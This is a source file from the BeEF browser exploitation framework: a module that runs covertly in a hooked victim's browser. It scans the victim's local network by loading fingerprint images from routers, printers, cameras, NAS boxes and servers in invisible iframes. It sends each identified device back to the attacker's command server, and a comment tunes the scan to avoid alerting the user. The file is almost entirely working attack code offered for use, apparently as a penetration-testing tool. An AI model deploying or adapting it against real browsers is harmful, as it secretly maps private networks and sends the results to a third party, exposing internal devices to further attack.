Path: blob/master/modules/network/internal_network_fingerprinting/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var ips = new Array();9var ipRange = "<%= @ipRange %>";10var ports = "<%= @ports %>";11var threads = parseInt("<%= @threads %>", 10);12var timeout = parseInt("<%= @timeout %>", 10)*1000;13var wait = parseInt("<%= @wait %>", 10)*1000;1415if (ports != null) {16ports = ports.split(',');17}1819// set target IP addresses20if (ipRange == 'common') {21// use default IPs22ips = [23'192.168.0.1',24'192.168.0.100',25'192.168.0.254',26'192.168.1.1',27'192.168.1.100',28'192.168.1.254',29'10.0.0.1',30'10.1.1.1',31'192.168.2.1',32'192.168.2.254',33'192.168.100.1',34'192.168.100.254',35'192.168.123.1',36'192.168.123.254',37'192.168.10.1',38'192.168.10.254'39];40} else {41// set target IP range42var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');43if (range == null || range[1] == null) {44beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());45return;46}47// ipRange will be in the form of 192.168.0.1-192.168.0.25448// the fourth octet will be iterated.49// (only C class IP ranges are supported atm)50ipBounds = ipRange.split('-');51lowerBound = ipBounds[0].split('.')[3];52upperBound = ipBounds[1].split('.')[3];53for (i=lowerBound;i<=upperBound;i++){54ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i;55ips.push(ipToTest);56}57}5859/* Signatures in the form of:60"Dev/App Name", -- string61"Default Port", -- string62"Protocol", -- string -- http/https63"Use Multiple Ports if specified", -- boolean64"IMG path", -- string -- file URI path65"IMG width", -- integer66"IMG height" -- integer6768When adding new signatures, try to find images which:69* have a unique URI and width/height combination70* use a valid SSL certificate - invalid certs prevent the resouce from loading71* do not require HTTP authentication - auth popups may alert the user to the scan72*/73var urls = new Array(74new Array(75"Apache",76"80","http",false,77"/icons/apache_pb.gif",259,32),78new Array(79"Apache 2.x",80"80","http",false,81"/icons/apache_pb2.gif",259,32),82new Array(83"Microsoft IIS 7.x",84"80","http",false,85"/welcome.png",571,411),86new Array(87"Microsoft IIS",88"80","http",false,89"/pagerror.gif",36,48),90new Array(91"PHP",92"80","http",false,93"/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42",120,67),94new Array(95"QNAP NAS",96"8080","http",false,97"/ajax_obj/img/running.gif",16,16),98new Array(99"QNAP NAS",100"443","https",false,101"/cgi-bin/images/login/cloud_portal.png",165,32),102new Array(103"Asus RT Series Router",104"80","http",false,105"/images/top-02.gif",359,78),106new Array(107"Asus RX Series Router",108"80","http",false,109"/images/bu_blue.gif",82,16),110new Array(111"Belkin Router",112"80","http",false,113"/images/title_2.gif",321,28),114new Array(115"Billion Router",116"80","http",false,117"/customized/logo.gif",318,69),118new Array(119"Billion Router",120"80","http",false,121"/customized/logo.gif",224,55),122new Array(123"Netgear N300 Router",124"80","http",false,125"/settings.gif",750,85),126new Array(127"Linksys NAS",128"80","http",false,129"/Admin_top.JPG",750,52),130new Array(131"Linksys NAS",132"80","http",false,133"/logo.jpg",194,52),134new Array(135"D-Link DCS Camera",136"80","http",false,137"/devmodel.jpg",127,27),138new Array(139"Linksys Network Camera",140"80","http",false,141"/welcome.jpg",146,250),142new Array(143"Linksys Wireless-G Camera",144"80","http",false,145"/header.gif",750,97),146new Array(147"Cisco IP Phone",148"80","http",false,149"/Images/Logo",120,66),150new Array(151"Snom Phone",152"80","http",false,153"/img/snom_logo.png",168,62),154new Array(155"Dell Laser Printer",156"80","http",false,157"/ews/images/delllogo.gif",100,100),158new Array(159"Brother Printer",160"80","http",false,161"/pbio/brother.gif",144,52),162new Array(163"HP LaserJet Printer",164"80","http",false,165"/hp/device/images/logo.gif",42,27),166new Array(167"HP LaserJet Printer",168"80","http",false,169"/hp/device/images/hp_invent_logo.gif",160,52),170new Array(171"JBoss Application server",172"8080","http",true,173"/images/logo.gif",226,105),174new Array(175"APC InfraStruXure Manager",176"80","http",false,177"/images/Xlogo_Layer-1.gif",342,327),178new Array(179"Barracuda Spam/Virus Firewall",180"8000","http",true,181"/images/powered_by.gif",211,26),182new Array(183"TwonkyMedia Server",184"9000","http",false,185"/images/TwonkyMediaServer_logo.jpg",150,82),186new Array(187"VMware ESXi Server",188"80","http",false,189"/background.jpeg",1,1100),190new Array(191"Microsoft Remote Web Workplace",192"80","http",false,193"/Remote/images/submit.gif",31,31),194new Array(195"XAMPP",196"80","http",false,197"/xampp/img/xampp-logo-new.gif",200,59),198new Array(199"Xerox Printer",200"80","http",false,201"/printbut.gif",30,30),202new Array(203"Konica Minolta Printer",204"80","http",false,205"/G27_light.gif",206,26),206new Array(207"Epson Printer",208"80","http",false,209"/cyandot.gif",1,1),210new Array(211"HP Printer",212"80","http",false,213"/hp/device/images/hp_invent_logo.gif",160,52),214new Array(215"HP Printer Photosmart series",216"80","http",false,217"/webApps/images/hp_d_rgb_m.gif",50,50),218new Array(219"Lexmark Printer",220"80","http",false,221"/images/lexlogo.gif",153,115),222new Array(223"Canon Printer",224"8000","http",false,225"/login/image/canonlogo.gif",100,37),226new Array(227"Zenoss",228"8080","http",false,229"/zport/dmd/favicon.ico",16,16),230new Array(231"Wordpress",232"80","http",true,233"/wp-includes/images/wpmini-blue.png",16,16),234new Array(235"Glassfish Server",236"4848","http",false,237"/theme/com/sun/webui/jsf/suntheme/images/login/gradlogsides.jpg", 1, 200),238new Array(239"pfSense",240"443","https",false,241"/themes/pfsense_ng/images/logo.gif",200,56),242new Array(243"pfSense CE <= 2.3.2",244"80","http",false,245"/logo.png",124,36),246new Array(247"Apache Tomcat",248"8080","http",true,249"/docs/images/tomcat.gif",146,92),250new Array(251"Jenkins",252"80","http",false,253"/static/"+Math.random().toString(36).substring(2,10)+"/images/jenkins.png",240,323),254new Array(255"SAP NetWeaver",256"80","http",true,257"/logon/layout/shadow.jpg",18,4),258new Array(259"Netscape iPlanet",260"80","http",true,261"/mc-icons/menu.gif",21,18),262new Array("Kemp Load Master", "443", "https", false, "/kemplogo.png",951,75),263new Array(264"m0n0wall",265"80","http",false,266"/logo.gif",150,47),267new Array("SMC Router","80","http",false,"/images/logo.gif",133,59),268new Array("ntop","3000","http",false,"/ntop_logo.png",103,50),269new Array(270"ZeroShell",271"80","http",false,272"/kerbynet/Zeroshell.gif",180,63)273274// Uncommon signatures275//new Array("Microsoft ADFS","80","http",false,"/adfs/portal/illustration/illustration.png",1420,1080),276//new Array("Rejetto HttpFileServer", "8080", "http",i true, "/~img27",16,16),277//new Array("Citrix MetaFrame", "80", "http", false, "/Citrix/MetaFrameXP/default/media/nfusehead.gif",230,41),278//new Array("Oracle E-Business Suite","80","http",false,"/OA_MEDIA/FNDSSCORP.gif",134,31),279//new Array("OracleAS Reports Service","80","http",false,"/reports/images/oraclelogo_sizewithprodbrand.gif",133,20),280//new Array("Oracle iLearning","80","http",false,"/ilearn/en/shared/img/coin_help_ready.gif",60,32),281//new Array("RSA Self-Service Console", "80", "http",false,"/console-selfservice/images/default/icn_help.gif",14,14),282//new Array("Sambar Server", "80", "http",false,"/sysimage/system/powerby.gif",41,23),283//new Array("BeEF","3000","http",false,"/ui/media/images/beef.png",200,149),284//new Array("BeEF (PHP)","80","http",false,"/beef/images/beef.gif",32,32),285//new Array("Siemens Simatic","80",false,"/Images/Siemens_Firmenmarke.gif",115,76),286//new Array("Alt-N MDaemon World Client","3000","http",false,"/LookOut/biglogo.gif",342,98),287//new Array("VLC Media Player","8080","http",false,"/images/white_cross_small.png",9,9),288//new Array("Syncrify","5800","http",false,"/images/468x60.gif",468,60),289//new Array("Winamp Web Interface","80","http",false,"/img?image=121",30,30),290);291292checkSignature = function(signature_id, signature_name, proto, ip, port, uri) {293var img = new Image;294var dom = beef.dom.createInvisibleIframe();295dom.setAttribute('id', 'lan_<%= @command_id %>_'+signature_id+'_'+proto+'_'+ip);296beef.debug("[Network Fingerprint] Checking for [" + signature_name + "] at IP [" + ip + "] (" + proto + ")");297img.id = signature_id;298img.src = proto+"://"+ip+":"+port+uri;299img.onerror = function() { dom.removeChild(this); }300img.onload = function() {301if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) {302beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this);303beef.debug("[Network Fingerprint] Found [" + signature_name + "] with URL [" + escape(this.src) + "]");304}305}306dom.appendChild(img);307// stop & remove iframe308setTimeout(function() {309if (dom.contentWindow.stop !== undefined) {310dom.contentWindow.stop();311} else if (dom.contentWindow.document.execCommand !== undefined) {312dom.contentWindow.document.execCommand("Stop", false);313}314document.body.removeChild(dom);315}, timeout);316}317318WorkerQueue = function(frequency) {319320var stack = [];321var timer = null;322var frequency = frequency;323var start_scan = (new Date).getTime();324325this.process = function() {326var item = stack.shift();327eval(item);328if (stack.length === 0) {329clearInterval(timer);330timer = null;331var interval = (new Date).getTime() - start_scan;332beef.debug("[Network Fingerprint] Worker queue is complete ["+interval+" ms]");333return;334}335}336337this.queue = function(item) {338stack.push(item);339if (timer === null) {340timer = setInterval(this.process, frequency);341}342}343344}345346// create worker queue347var workers = new Array();348for (w=0; w < threads; w++) {349workers.push(new WorkerQueue(wait));350}351352// for each URI signature353for (var u=0; u < urls.length; u++) {354var worker = workers[u % threads];355// for each LAN IP address356for (var i=0; i < ips.length; i++) {357if (!urls[u][3]) {358// use default port359worker.queue('checkSignature("'+u+'","'+urls[u][0]+'","'+urls[u][2]+'","'+ips[i]+'","'+urls[u][1]+'","'+urls[u][4]+'");');360} else {361// iterate through all the specified ports362for (var p=0; p < ports.length; p++) {363worker.queue('checkSignature("'+u+'","'+urls[u][0]+'","'+urls[u][2]+'","'+ips[i]+'","'+ports[p]+'","'+urls[u][4]+'");');364}365}366}367}368369});370371372373